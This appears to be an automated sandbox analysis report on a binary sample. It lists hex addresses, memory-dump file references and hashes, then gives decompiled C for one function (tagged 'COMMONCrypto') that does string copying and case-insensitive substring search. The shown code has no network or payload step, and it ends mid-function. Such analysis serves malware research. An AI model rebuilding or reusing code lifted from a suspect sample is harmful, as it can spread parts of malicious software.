0x6ed4cfb0
0x6ed4cfba
0x6ed4cfbd
0x6ed4cfc3
0x6ed4cfcd
0x6ed4cfd0
0x6ed4cfd3
0x00000000
0x00000000
0x6ed4cfdd
0x6ed4cfdf
0x00000000
0x00000000
0x00000000
0x6ed4cfe1
0x6ed4c8fe
0x6ed4c902
0x6ed4c906
0x00000000
0x6ed4c906
0x6ed4cfe6
0x6ed4cfea
0x6ed4cd50
0x6ed4cd50
0x6ed4cd52
0x00000000
0x00000000
0x6ed4cd58
0x00000000
0x00000000
0x6ed4cd5e
0x6ed4cd62
0x00000000
0x6ed4cd62
0x6ed4c916
0x6ed4c91a
0x6ed4c91c
0x6ed4c920
0x6ed4c924
0x6ed4c928
0x6ed4c92a
0x00000000
0x00000000
0x6ed4c930
0x6ed4c931
0x6ed4c933
0x00000000
0x00000000
0x6ed4c935
0x6ed4c939
0x6ed4c93d
0x00000000
0x6ed4c93d
0x6ed4cd44
0x6ed4cd48
0x6ed4cd4c
0x00000000
0x6ed4c941
0x6ed4c94d
0x6ed4c951
0x6ed4c951
0x6ed4c957
0x6ed4c95b
0x6ed4c95b
0x6ed4c960
0x6ed4c964
0x6ed4c968
0x6ed4c96a
0x00000000
0x00000000
0x6ed4c970
0x6ed4c973
0x6ed4c975
0x00000000
0x00000000
0x6ed4c977
0x6ed4c97f
0x6ed4c983
0x6ed4c989
0x00000000
0x00000000
0x00000000
0x6ed4c989
0x6ed4cff5
0x6ed4cffa
0x6ed4cffe
0x6ed4d004
0x00000000
0x6ed4d004
0x6ed4c90a
0x00000000
0x6ed4c768
0x6ed4c704
0x6ed4c707
0x6ed4c70a
0x6ed4c70c
0x00000000
0x00000000
0x6ed4c70e
0x6ed4c70e
0x6ed4c710
0x6ed4c710
0x6ed4c711
0x6ed4c716
0x6ed4c71b
0x6ed4c71d
0x00000000
0x00000000
0x6ed4c71f
0x6ed4c723
0x6ed4c727
0x6ed4c729
0x00000000
0x00000000
0x00000000
0x6ed4c729
0x00000000
0x6ed4c710
0x6ed4c6fe
0x6ed4c6b1
0x00000000
0x6ed4c6b1
0x6ed4c623
0x6ed4c623
0x6ed4c626
0x6ed4c646
0x6ed4c64a
0x6ed4c656
0x6ed4c656
0x6ed4c65c
0x6ed4c65c
0x6ed4c661
0x6ed4c665
0x6ed4c669
0x6ed4c66b
0x00000000
0x00000000
0x6ed4c671
0x6ed4c674
0x6ed4c676
0x00000000
0x00000000
0x6ed4c678
0x6ed4c67e
0x6ed4c695
0x6ed4c695
0x6ed4c69a
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed4c680
0x6ed4c680
0x6ed4c684
0x6ed4c686
0x00000000
0x00000000
0x6ed4c68c
0x6ed4c68d
0x6ed4c693
0x00000000
0x00000000
0x00000000
0x6ed4c693
0x6ed4c8ab
0x6ed4c8ab
0x6ed4c8ae
0x6ed4c8be
0x6ed4c8b0
0x6ed4c8b2
0x6ed4c8b5
0x6ed4c8b5
0x00000000
0x6ed4c8ae
0x6ed4d00d
0x6ed4d012
0x00000000
0x6ed4d012
0x6ed4c628
0x6ed4c62a
0x6ed4c62c
0x00000000
0x00000000
0x6ed4c633
0x6ed4c633
0x6ed4c635
0x6ed4c635
0x6ed4c639
0x6ed4c63b
0x00000000
0x00000000
0x6ed4c641
0x6ed4c642
0x6ed4c644
0x00000000
0x00000000
0x00000000
0x6ed4c644
0x00000000
0x6ed4c635
0x6ed4c610
0x00000000
0x6ed4c610
0x6ed4c5c1
0x6ed4c5ea
0x6ed4c5ea
0x6ed4c5ec
0x6ed4c5ed
0x6ed4c5f2
0x00000000
0x6ed4c5f2
0x6ed4c5c3
0x6ed4c5c6
0x6ed4c5cb
0x00000000
0x00000000
0x6ed4c5cf
0x6ed4c5cf
0x6ed4c5d0
0x6ed4c5d5
0x6ed4c5dc
0x00000000
0x00000000
0x6ed4c5de
0x6ed4c5e2
0x6ed4c5e8
0x00000000
0x00000000
0x00000000
0x6ed4c5e8
0x00000000

Strings

@, xrefs: 6ED4C600

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 34e3e757357182d4be67d558aec357958c2c3175704b9db7323992076a550c51
Instruction ID: 688508ea60c6b172b7d3f0ac72b6146ca5d25f6c34eb875c852d91c9758d5ad0
Opcode Fuzzy Hash: 34e3e757357182d4be67d558aec357958c2c3175704b9db7323992076a550c51
Instruction Fuzzy Hash: 36620775604712CBE710CFAAC49062AB3E2BFE8714F14872DE8A59F3A4E734D949C791

Uniqueness

Uniqueness Score: -1.00%

Function 6ED52E60, Relevance: 2.0, Strings: 1, Instructions: 797
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E6ED52E60(signed int __ecx, void* __eflags, signed int _a4, char _a8) {
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				char* _t230;
				signed int _t231;
				signed int* _t237;
				char* _t238;
				void* _t245;
				signed int _t246;
				char _t249;
				signed int _t251;
				signed int _t254;
				signed int _t256;
				void* _t257;
				void* _t258;
				signed int _t262;
				signed int _t264;
				signed int _t265;
				signed int _t266;
				signed int _t268;
				char _t271;
				signed int _t273;
				signed int _t279;
				signed int _t280;
				signed int _t283;
				signed int _t284;
				void* _t286;
				void* _t288;
				signed int _t292;
				void* _t295;
				signed int _t298;
				signed int _t299;
				signed int _t300;
				signed int _t301;
				signed int _t302;
				signed int _t308;
				signed int _t310;
				signed int _t311;
				char _t312;
				char _t313;
				char _t314;
				char _t315;
				signed int _t316;
				signed int _t317;
				signed int _t318;
				signed int _t319;
				signed int _t325;
				signed int _t326;
				signed int _t327;
				signed int _t328;
				signed int _t329;
				void* _t330;
				signed int _t331;
				signed int _t332;
				signed int _t335;
				signed int _t336;
				void* _t337;
				signed int _t340;
				void* _t341;
				signed int _t342;
				signed int _t343;
				signed int _t344;
				char* _t347;
				signed int _t350;
				signed int _t352;
				void* _t355;
				signed int _t357;
				char _t359;
				signed int _t362;
				signed int _t363;
				signed int _t365;
				signed int _t366;
				signed int _t367;
				signed int _t368;
				signed int _t369;
				signed int _t379;
				signed int _t380;
				signed int _t381;
				signed int _t382;
				signed int _t383;
				signed int _t384;
				signed int _t386;
				void* _t389;
				signed int _t390;
				char _t392;
				signed int _t395;
				signed int _t400;
				char _t402;
				char _t403;
				char _t404;
				signed int _t406;
				unsigned int _t411;
				signed int _t413;
				signed int _t415;
				signed int _t416;
				signed int _t421;
				signed int _t422;
				signed int _t433;
				signed int _t434;
				signed int _t435;
				signed int _t441;
				signed int _t443;
				signed int _t449;
				signed int _t450;
				signed int _t452;
				signed int _t461;
				signed int _t465;
				signed int _t466;
				signed int _t468;
				signed int _t469;
				signed int _t478;
				signed int _t482;
				void* _t485;

				_v56 = 0;
				_t449 = __ecx;
				_v52 = 0;
				_push(0x40);
				_t406 = E6ED41030();
				_t485 = (_t482 & 0xfffffff0) - 0x34 + 4;
				_t230 = _v56;
				if(_t230 == 0) {
					 *_t406 = 0;
					L8:
					_t231 = _a8;
					_v52 = 0x40;
					_v56 = _t406;
					if(_t231 != 0) {
						__eflags = _t406;
						if(_t406 == 0) {
							_t310 = 0x40;
							_t283 = 0;
							L22:
							_t20 = _t283 + 2; // 0x80000001
							_t341 = _t20;
							__eflags = _t341 - 0x40;
							_t342 =  <=  ? 0x40 : _t341;
							__eflags = _t310 - _t342;
							if(_t310 < _t342) {
								_t411 = (_t342 >> 5 >> 0x1a) + _t342 >> 6;
								_t343 = _t342 & 0x8000003f;
								__eflags = _t343;
								if(_t343 < 0) {
									_t343 = (_t343 - 0x00000001 | 0xffffffc0) + 1;
									__eflags = _t343;
								}
								__eflags = _t343;
								_t413 = _t411 + (0 | _t343 > 0x00000000) << 6;
								_push(_t413);
								_t311 = E6ED41030();
								_t485 = _t485 + 4;
								_t344 = _v56;
								__eflags = _t344;
								if(_t344 == 0) {
									 *_t311 = 0;
									goto L35;
								} else {
									__eflags = _t311;
									if(_t311 == 0) {
										L33:
										_push(1);
										_push(_t344);
										_v68 = _t311;
										E6ED410B0();
										_t311 = _v68;
										_t485 = _t485 + 8;
										L35:
										_v52 = _t413;
										_v56 = _t311;
										L36:
										 *((char*)(_t311 + _t283)) = _a8;
										_t237 =  &_v56;
										 *((char*)(_t283 +  *_t237 + 1)) = 0;
										L37:
										_t238 =  *_t237;
										_v28 = _t238;
										_t284 = _a4;
										if(_t238 == 0) {
											L39:
											_push(0x40);
											 *_t284 = 0;
											 *(_t284 + 4) = 0;
											_t450 = E6ED41030();
											_t485 = _t485 + 4;
											_t347 =  *_t284;
											if(_t347 == 0) {
												 *_t450 = 0;
												L61:
												 *_t284 = _t450;
												 *(_t284 + 4) = 0x40;
												L62:
												_push(1);
												_push(_v56);
												E6ED410B0();
												_v56 = 0;
												_v52 = 0;
												return _t284;
											}
											if(_t450 == 0) {
												L45:
												_push(1);
												_push(_t347);
												E6ED410B0();
												_t485 = _t485 + 8;
												goto L61;
											}
											_t312 =  *_t347;
											 *_t450 = _t312;
											if(_t312 == 0) {
												goto L45;
											}
											_t415 = 0;
											while(1) {
												_t415 = _t415 + 1;
												_t313 =  *((char*)(_t347 + _t415 * 2 - 1));
												 *((char*)(_t450 + _t415 * 2 - 1)) = _t313;
												if(_t313 == 0) {
													goto L45;
												}
												_t314 =  *((char*)(_t347 + _t415 * 2));
												 *((char*)(_t450 + _t415 * 2)) = _t314;
												if(_t314 != 0) {
													continue;
												}
												goto L45;
											}
											goto L45;
										}
										_t315 =  *_t238;
										_v48 = _t315;
										if(_t315 != 0) {
											_t350 =  *_t449;
											_v60 = _t350;
											__eflags = _t350;
											if(_t350 == 0) {
												L53:
												_push(0x40);
												 *_t284 = 0;
												 *(_t284 + 4) = 0;
												_t450 = E6ED41030();
												_t485 = _t485 + 4;
												_t352 =  *_t284;
												__eflags = _t352;
												if(_t352 == 0) {
													 *_t450 = 0;
													goto L61;
												}
												__eflags = _t450;
												if(_t450 == 0) {
													L59:
													_push(1);
													_push(_t352);
													E6ED410B0();
													_t485 = _t485 + 8;
													goto L61;
												}
												_t316 =  *_t352;
												 *_t450 = _t316;
												__eflags = _t316;
												if(_t316 == 0) {
													goto L59;
												}
												_t416 = 0;
												__eflags = 0;
												while(1) {
													_t416 = _t416 + 1;
													_t317 =  *((char*)(_t352 + _t416 * 2 - 1));
													 *(_t450 + _t416 * 2 - 1) = _t317;
													__eflags = _t317;
													if(_t317 == 0) {
														goto L59;
													}
													_t318 =  *((char*)(_t352 + _t416 * 2));
													 *(_t450 + _t416 * 2) = _t318;
													__eflags = _t318;
													if(_t318 != 0) {
														continue;
													}
													goto L59;
												}
												goto L59;
											}
											__eflags =  *_t350;
											if( *_t350 == 0) {
												goto L53;
											}
											_t417 = _t315;
											_t319 = _t350;
											_t63 = _t417 - 0x41; // -65
											_t452 = _t63;
											_v64 = _t452;
											__eflags = _t452 - 0x19;
											_t65 = _t417 + 0x20; // 0x20
											_t354 =  >  ? _t315 : _t65;
											_t245 =  >  ? _t315 : _t65;
											_t355 = 0;
											__eflags = 0;
											while(1) {
												_t286 =  *_t319;
												__eflags = _t286 - 0x41 - 0x19;
												_t287 =  <=  ? _t286 + 0x20 : _t286;
												__eflags = ( <=  ? _t286 + 0x20 : _t286) - _t245;
												if(( <=  ? _t286 + 0x20 : _t286) == _t245) {
													break;
												}
												_t355 = _t355 + 1;
												_t319 = _t319 + 1;
												_t300 = _v60;
												__eflags =  *((char*)(_t355 + _t300));
												if( *((char*)(_t355 + _t300)) != 0) {
													continue;
												}
												L52:
												_t284 = _a4;
												goto L53;
											}
											_t284 = _a4;
											__eflags = _t319;
											if(_t319 == 0) {
												goto L53;
											}
											_t357 = _v28 & 0x0000000f;
											asm("pxor xmm0, xmm0");
											_t421 =  ~_t357 + 0x10;
											__eflags = _t421;
											_v32 = _t421;
											_v40 = _v48 + 0x20;
											_t246 = _t421;
											do {
												_t422 = _t357;
												__eflags = _t357;
												if(_t357 == 0) {
													L69:
													_t461 =  ~( ~_t422 + 0x0000000f & 0x0000000f) + 0x7fffffff;
													__eflags = _t461;
													while(1) {
														asm("movdqu xmm1, [eax+edi]");
														asm("pcmpeqb xmm1, xmm0");
														asm("pmovmskb ebx, xmm1");
														__eflags = _t284;
														if(_t284 != 0) {
															break;
														}
														_t422 = _t422 + 0x10;
														__eflags = _t422 - _t461;
														if(_t422 < _t461) {
															continue;
														}
														__eflags = _t461 - 0x7fffffff;
														if(_t461 >= 0x7fffffff) {
															L76:
															_t461 = 0x7fffffff;
															L77:
															_v68 = _t461;
															_t288 = 0;
															__eflags = 0;
															_v44 = _t357;
															while(1) {
																_t249 =  *((char*)(_t288 + _t319));
																_t359 =  *((char*)(_t288 + _v28));
																__eflags = _t249 - 0x61 - 0x19;
																_t250 =  <=  ? _t249 - 0x20 : _t249;
																__eflags = _t359 - 0x61 - 0x19;
																_t251 =  <=  ? _t249 - 0x20 : _t249;
																_t360 =  <=  ? _t359 - 0x20 : _t359;
																_t361 =  <=  ? _t359 - 0x20 : _t359;
																__eflags = _t251 - ( <=  ? _t359 - 0x20 : _t359);
																if(__eflags < 0 || __eflags > 0) {
																	break;
																}
																__eflags = _t251;
																if(_t251 == 0) {
																	L82:
																	_t357 = _v44;
																	_t466 = _v40;
																	_t284 = _a4;
																	L83:
																	__eflags = _t319;
																	if(_t319 == 0) {
																		goto L53;
																	}
																	_v44 = _t357;
																	while(1) {
																		L85:
																		_t254 = _t319;
																		_t292 = _t319 + 1;
																		__eflags = _t292;
																		if(_t292 == 0) {
																			break;
																		}
																		__eflags =  *(_t319 + 1);
																		if( *(_t319 + 1) == 0) {
																			break;
																		}
																		__eflags = _v64 - 0x19;
																		_t388 =  <=  ? _t466 : _v48;
																		_t389 =  <=  ? _t466 : _v48;
																		_v36 = _t254;
																		_v40 = _t466;
																		while(1) {
																			_t319 = _t319 + 1;
																			_t292 = _t292 + 1;
																			_t266 =  *_t319 & 0x000000ff;
																			_t466 =  *((char*)(_t292 - 1)) + 0xffffffbf;
																			__eflags = _t466 - 0x19;
																			_t267 =  <=  ? _t266 + 0x20 : _t266;
																			__eflags = ( <=  ? _t266 + 0x20 : _t266) - _t389;
																			if(( <=  ? _t266 + 0x20 : _t266) == _t389) {
																				break;
																			}
																			__eflags =  *_t292;
																			if( *_t292 != 0) {
																				continue;
																			}
																			L90:
																			_t254 = _v36;
																			_t365 = _v44;
																			_t284 = _a4;
																			L91:
																			__eflags = _t365;
																			if(_t365 == 0) {
																				L95:
																				_t325 =  ~( ~_t365 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																				__eflags = _t325;
																				while(1) {
																					asm("movdqu xmm1, [edi+edx]");
																					asm("pcmpeqb xmm1, xmm0");
																					asm("pmovmskb esi, xmm1");
																					__eflags = _t466;
																					if(_t466 != 0) {
																						break;
																					}
																					_t365 = _t365 + 0x10;
																					__eflags = _t365 - _t325;
																					if(_t365 < _t325) {
																						continue;
																					}
																					__eflags = _t325 - 0x7fffffff;
																					if(_t325 >= 0x7fffffff) {
																						L102:
																						_t325 = 0x7fffffff;
																						L103:
																						_t468 = _v60 & 0x0000000f;
																						__eflags = _t468;
																						if(_t468 == 0) {
																							L107:
																							_t433 =  ~( ~_t468 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																							__eflags = _t433;
																							while(1) {
																								asm("movdqu xmm1, [ebx+esi]");
																								asm("pcmpeqb xmm1, xmm0");
																								asm("pmovmskb edx, xmm1");
																								__eflags = _t365;
																								if(_t365 != 0) {
																									break;
																								}
																								_t468 = _t468 + 0x10;
																								__eflags = _t468 - _t433;
																								if(_t468 < _t433) {
																									continue;
																								}
																								_t284 = _a4;
																								__eflags = _t433 - 0x7fffffff;
																								if(_t433 >= 0x7fffffff) {
																									L114:
																									_t433 = 0x7fffffff;
																									L115:
																									_t366 = _v60;
																									_t256 = _t254 - _t366 + _t325;
																									_t326 = 0;
																									__eflags = _t256;
																									 *_t284 = 0;
																									_t257 =  <=  ? 0 : _t256;
																									__eflags = _t433 - _t257;
																									 *(_t284 + 4) = 0;
																									_t258 =  <  ? _t433 : _t257;
																									_t434 = _t433 - _t258;
																									_t367 = _t366 + _t258;
																									__eflags = _t367;
																									_v64 = _t367;
																									if(_t367 == 0) {
																										L151:
																										_push(0x40);
																										_t450 = E6ED41030();
																										_t485 = _t485 + 4;
																										_t368 =  *_t284;
																										__eflags = _t368;
																										if(_t368 == 0) {
																											 *_t450 = 0;
																											goto L61;
																										}
																										__eflags = _t450;
																										if(_t450 == 0) {
																											L157:
																											_push(1);
																											_push(_t368);
																											E6ED410B0();
																											_t485 = _t485 + 8;
																											goto L61;
																										}
																										_t327 =  *_t368;
																										 *_t450 = _t327;
																										__eflags = _t327;
																										if(_t327 == 0) {
																											goto L157;
																										}
																										_t435 = 0;
																										__eflags = 0;
																										while(1) {
																											_t435 = _t435 + 1;
																											_t328 =  *((char*)(_t368 + _t435 * 2 - 1));
																											 *(_t450 + _t435 * 2 - 1) = _t328;
																											__eflags = _t328;
																											if(_t328 == 0) {
																												goto L157;
																											}
																											_t329 =  *((char*)(_t368 + _t435 * 2));
																											 *(_t450 + _t435 * 2) = _t329;
																											__eflags = _t329;
																											if(_t329 != 0) {
																												continue;
																											}
																											goto L157;
																										}
																										goto L157;
																									}
																									_t369 = _v60;
																									__eflags =  *(_t369 + _t258);
																									if( *(_t369 + _t258) == 0) {
																										goto L151;
																									}
																									__eflags = _t434;
																									if(_t434 != 0) {
																										L130:
																										_t144 = _t434 + 1; // 0x80000000
																										_t330 = _t144;
																										__eflags = _t330 - 0x40;
																										_t331 =  <=  ? 0x40 : _t330;
																										__eflags = _t331;
																										if(_t331 > 0) {
																											_v68 = (_t331 >> 5 >> 0x1a) + _t331 >> 6;
																											_t332 = _t331 & 0x8000003f;
																											__eflags = _t332;
																											if(_t332 < 0) {
																												_t332 = (_t332 - 0x00000001 | 0xffffffc0) + 1;
																												__eflags = _t332;
																											}
																											__eflags = _t332;
																											_t335 = _v68 + (0 | _t332 > 0x00000000) << 6;
																											_v68 = _t335;
																											_push(_t335);
																											_t469 = E6ED41030();
																											_t485 = _t485 + 4;
																											_t336 =  *_t284;
																											__eflags = _t336;
																											if(_t336 == 0) {
																												 *_t469 = 0;
																												goto L143;
																											} else {
																												__eflags = _t469;
																												if(_t469 == 0) {
																													L141:
																													_push(1);
																													_push(_t336);
																													E6ED410B0();
																													_t485 = _t485 + 8;
																													L143:
																													 *(_t284 + 4) = _v68;
																													 *_t284 = _t469;
																													L144:
																													__eflags = _t469;
																													if(_t469 == 0) {
																														goto L62;
																													}
																													_t262 = _v64;
																													_t337 = 0;
																													while(1) {
																														_t379 =  *_t262;
																														_t337 = _t337 + 1;
																														 *_t469 = _t379;
																														__eflags = _t434;
																														if(_t434 == 0) {
																															goto L149;
																														}
																														__eflags = _t337 - _t434;
																														if(_t337 == _t434) {
																															 *(_t469 + 1) = 0;
																															goto L62;
																														}
																														L149:
																														__eflags = _t379;
																														if(_t379 == 0) {
																															goto L62;
																														}
																														_t469 = _t469 + 1;
																														_t262 = _t262 + 1;
																														__eflags = _t262;
																													}
																												}
																												_t380 =  *_t336;
																												 *_t469 = _t380;
																												__eflags = _t380;
																												if(_t380 == 0) {
																													goto L141;
																												}
																												_t381 = 0;
																												__eflags = 0;
																												while(1) {
																													_t381 = _t381 + 1;
																													_t264 =  *((char*)(_t336 + _t381 * 2 - 1));
																													 *(_t469 + _t381 * 2 - 1) = _t264;
																													__eflags = _t264;
																													if(_t264 == 0) {
																														break;
																													}
																													_t265 =  *((char*)(_t336 + _t381 * 2));
																													 *(_t469 + _t381 * 2) = _t265;
																													__eflags = _t265;
																													if(_t265 != 0) {
																														continue;
																													}
																													break;
																												}
																												_t284 = _a4;
																												goto L141;
																											}
																										}
																										_t469 = 0;
																										goto L144;
																									}
																									_t382 = _t369 + _t258;
																									_v60 = _t382;
																									_t383 = _t382 & 0x0000000f;
																									__eflags = _t383;
																									if(_t383 == 0) {
																										L122:
																										_t434 =  ~( ~_t383 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																										__eflags = _t434;
																										while(1) {
																											asm("movdqu xmm1, [esi+edx]");
																											asm("pcmpeqb xmm1, xmm0");
																											asm("pmovmskb ecx, xmm1");
																											__eflags = _t326;
																											if(_t326 != 0) {
																												break;
																											}
																											_t383 = _t383 + 0x10;
																											__eflags = _t383 - _t434;
																											if(_t383 < _t434) {
																												continue;
																											}
																											__eflags = _t434 - 0x7fffffff;
																											if(_t434 >= 0x7fffffff) {
																												L129:
																												_t434 = 0x7fffffff;
																												goto L130;
																											}
																											_t384 = _v60;
																											while(1) {
																												__eflags =  *((char*)(_t434 + _t384));
																												if( *((char*)(_t434 + _t384)) == 0) {
																													goto L130;
																												}
																												_t434 = _t434 + 1;
																												__eflags = _t434 - 0x7fffffff;
																												if(_t434 < 0x7fffffff) {
																													continue;
																												}
																												goto L129;
																											}
																											goto L130;
																										}
																										asm("bsf edi, ecx");
																										_t434 = _t434 + _t383;
																										goto L130;
																									}
																									_t434 = 0;
																									_t326 = _v60;
																									_t383 =  ~_t383 + 0x10;
																									__eflags = _t383;
																									while(1) {
																										__eflags =  *((char*)(_t434 + _t326));
																										if( *((char*)(_t434 + _t326)) == 0) {
																											goto L130;
																										}
																										_t434 = _t434 + 1;
																										__eflags = _t434 - _t383;
																										if(_t434 < _t383) {
																											continue;
																										}
																										goto L122;
																									}
																									goto L130;
																								}
																								_t386 = _v60;
																								while(1) {
																									__eflags =  *((char*)(_t433 + _t386));
																									if( *((char*)(_t433 + _t386)) == 0) {
																										goto L115;
																									}
																									_t433 = _t433 + 1;
																									__eflags = _t433 - 0x7fffffff;
																									if(_t433 < 0x7fffffff) {
																										continue;
																									}
																									goto L114;
																								}
																								goto L115;
																							}
																							asm("bsf edi, edx");
																							_t284 = _a4;
																							_t433 = _t433 + _t468;
																							goto L115;
																						}
																						_t433 = 0;
																						_t365 = _v60;
																						_t468 =  ~_t468 + 0x10;
																						__eflags = _t468;
																						while(1) {
																							__eflags =  *((char*)(_t433 + _t365));
																							if( *((char*)(_t433 + _t365)) == 0) {
																								goto L115;
																							}
																							_t433 = _t433 + 1;
																							__eflags = _t433 - _t468;
																							if(_t433 < _t468) {
																								continue;
																							}
																							goto L107;
																						}
																						goto L115;
																					}
																					_t365 = _v28;
																					while(1) {
																						__eflags =  *(_t325 + _t365);
																						if( *(_t325 + _t365) == 0) {
																							goto L103;
																						}
																						_t325 = _t325 + 1;
																						__eflags = _t325 - 0x7fffffff;
																						if(_t325 < 0x7fffffff) {
																							continue;
																						}
																						goto L102;
																					}
																					goto L103;
																				}
																				asm("bsf ecx, esi");
																				_t325 = _t325 + _t365;
																				goto L103;
																			}
																			_t365 = _v32;
																			_t325 = 0;
																			__eflags = 0;
																			_t441 = _v28;
																			_t466 = _t365;
																			while(1) {
																				__eflags =  *((char*)(_t325 + _t441));
																				if( *((char*)(_t325 + _t441)) == 0) {
																					goto L103;
																				}
																				_t325 = _t325 + 1;
																				__eflags = _t325 - _t466;
																				if(_t325 < _t466) {
																					continue;
																				}
																				goto L95;
																			}
																			goto L103;
																		}
																		_t254 = _v36;
																		_t466 = _v40;
																		__eflags = _t319;
																		if(_t319 == 0) {
																			break;
																		}
																		_v36 = _t254;
																		_v40 = _t466;
																		_t390 = _v44;
																		_t268 = _v32;
																		do {
																			_t443 = _t390;
																			__eflags = _t390;
																			if(_t390 == 0) {
																				L169:
																				_t478 =  ~( ~_t443 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																				__eflags = _t478;
																				while(1) {
																					asm("movdqu xmm1, [eax+edi]");
																					asm("pcmpeqb xmm1, xmm0");
																					asm("pmovmskb ebx, xmm1");
																					__eflags = _t292;
																					if(_t292 != 0) {
																						break;
																					}
																					_t443 = _t443 + 0x10;
																					__eflags = _t443 - _t478;
																					if(_t443 < _t478) {
																						continue;
																					}
																					__eflags = _t478 - 0x7fffffff;
																					if(_t478 >= 0x7fffffff) {
																						L176:
																						_t478 = 0x7fffffff;
																						L177:
																						_v68 = _t478;
																						_t295 = 0;
																						__eflags = 0;
																						_v44 = _t390;
																						while(1) {
																							_t271 =  *((char*)(_t295 + _t319));
																							_t392 =  *((char*)(_t295 + _v28));
																							__eflags = _t271 - 0x61 - 0x19;
																							_t272 =  <=  ? _t271 - 0x20 : _t271;
																							__eflags = _t392 - 0x61 - 0x19;
																							_t273 =  <=  ? _t271 - 0x20 : _t271;
																							_t393 =  <=  ? _t392 - 0x20 : _t392;
																							_t394 =  <=  ? _t392 - 0x20 : _t392;
																							__eflags = _t273 - ( <=  ? _t392 - 0x20 : _t392);
																							if(__eflags < 0 || __eflags > 0) {
																								break;
																							}
																							__eflags = _t273;
																							if(_t273 == 0) {
																								L182:
																								_t254 = _v36;
																								_t466 = _v40;
																								L183:
																								__eflags = _t319;
																								if(_t319 != 0) {
																									goto L85;
																								}
																								goto L184;
																							}
																							_t295 = _t295 + 1;
																							__eflags = _t295 - _v68;
																							if(_t295 < _v68) {
																								continue;
																							}
																							goto L182;
																						}
																						_t365 = _v44;
																						_t466 = _t319 + 1;
																						__eflags = _t466;
																						if(_t466 == 0) {
																							goto L192;
																						}
																						__eflags = _v64 - 0x19;
																						_t297 =  <=  ? _v40 : _v48;
																						_t292 =  <=  ? _v40 : _v48;
																						__eflags =  *(_t319 + 1);
																						if( *(_t319 + 1) == 0) {
																							goto L192;
																						}
																						_v44 = _t365;
																						while(1) {
																							_t319 = _t319 + 1;
																							_t466 = _t466 + 1;
																							_t395 =  *_t319 & 0x000000ff;
																							__eflags =  *((char*)(_t466 - 1)) + 0xffffffbf - 0x19;
																							_t396 =  <=  ? _t395 + 0x20 : _t395;
																							__eflags = ( <=  ? _t395 + 0x20 : _t395) - _t292;
																							if(( <=  ? _t395 + 0x20 : _t395) == _t292) {
																								goto L191;
																							}
																							__eflags =  *_t466;
																							if( *_t466 != 0) {
																								continue;
																							}
																							goto L90;
																						}
																						goto L191;
																					}
																					_t298 = _v28;
																					while(1) {
																						__eflags =  *((char*)(_t478 + _t298));
																						if( *((char*)(_t478 + _t298)) == 0) {
																							break;
																						}
																						_t478 = _t478 + 1;
																						__eflags = _t478 - 0x7fffffff;
																						if(_t478 < 0x7fffffff) {
																							continue;
																						}
																						goto L176;
																					}
																					L193:
																					__eflags = _t478;
																					if(__eflags == 0) {
																						goto L176;
																					}
																					if(__eflags > 0) {
																						goto L177;
																					}
																					_v44 = _t390;
																					_t254 = _v36;
																					_t466 = _v40;
																					goto L183;
																				}
																				asm("bsf esi, ebx");
																				_t478 = _t478 + _t443;
																				goto L193;
																			}
																			_t292 = _v28;
																			_t443 = _t268;
																			_t478 = 0;
																			__eflags = 0;
																			while(1) {
																				__eflags =  *((char*)(_t478 + _t292));
																				if( *((char*)(_t478 + _t292)) == 0) {
																					goto L193;
																				}
																				_t478 = _t478 + 1;
																				__eflags = _t478 - _t268;
																				if(_t478 < _t268) {
																					continue;
																				}
																				goto L169;
																			}
																			goto L193;
																			L191:
																			_t390 = _v44;
																			_t268 = _v32;
																			__eflags = _t319;
																		} while (_t319 != 0);
																		L192:
																		_t254 = _v36;
																		_t284 = _a4;
																		goto L91;
																	}
																	L184:
																	_t365 = _v44;
																	goto L91;
																}
																_t288 = _t288 + 1;
																__eflags = _t288 - _v68;
																if(_t288 < _v68) {
																	continue;
																}
																goto L82;
															}
															_t362 = _v44;
															_t465 = _t319 + 1;
															__eflags = _t465;
															if(_t465 == 0) {
																goto L52;
															}
															__eflags = _v64 - 0x19;
															_t290 =  <=  ? _v40 : _v48;
															_t284 =  <=  ? _v40 : _v48;
															__eflags =  *(_t319 + 1);
															if( *(_t319 + 1) == 0) {
																goto L52;
															}
															_v44 = _t362;
															while(1) {
																_t319 = _t319 + 1;
																_t465 = _t465 + 1;
																_t363 =  *_t319 & 0x000000ff;
																__eflags =  *((char*)(_t465 - 1)) + 0xffffffbf - 0x19;
																_t364 =  <=  ? _t363 + 0x20 : _t363;
																__eflags = ( <=  ? _t363 + 0x20 : _t363) - _t284;
																if(( <=  ? _t363 + 0x20 : _t363) == _t284) {
																	goto L207;
																}
																__eflags =  *_t465;
																if( *_t465 != 0) {
																	continue;
																}
																goto L52;
															}
															goto L207;
														}
														_t299 = _v28;
														while(1) {
															__eflags =  *((char*)(_t461 + _t299));
															if( *((char*)(_t461 + _t299)) == 0) {
																break;
															}
															_t461 = _t461 + 1;
															__eflags = _t461 - 0x7fffffff;
															if(_t461 < 0x7fffffff) {
																continue;
															}
															goto L76;
														}
														L203:
														__eflags = _t461;
														if(__eflags == 0) {
															goto L76;
														}
														if(__eflags > 0) {
															goto L77;
														}
														_t466 = _v40;
														_t284 = _a4;
														goto L83;
													}
													asm("bsf esi, ebx");
													_t461 = _t461 + _t422;
													goto L203;
												}
												_t284 = _v28;
												_t422 = _t246;
												_t461 = 0;
												__eflags = 0;
												while(1) {
													__eflags =  *((char*)(_t461 + _t284));
													if( *((char*)(_t461 + _t284)) == 0) {
														goto L203;
													}
													_t461 = _t461 + 1;
													__eflags = _t461 - _t246;
													if(_t461 < _t246) {
														continue;
													}
													goto L69;
												}
												goto L203;
												L207:
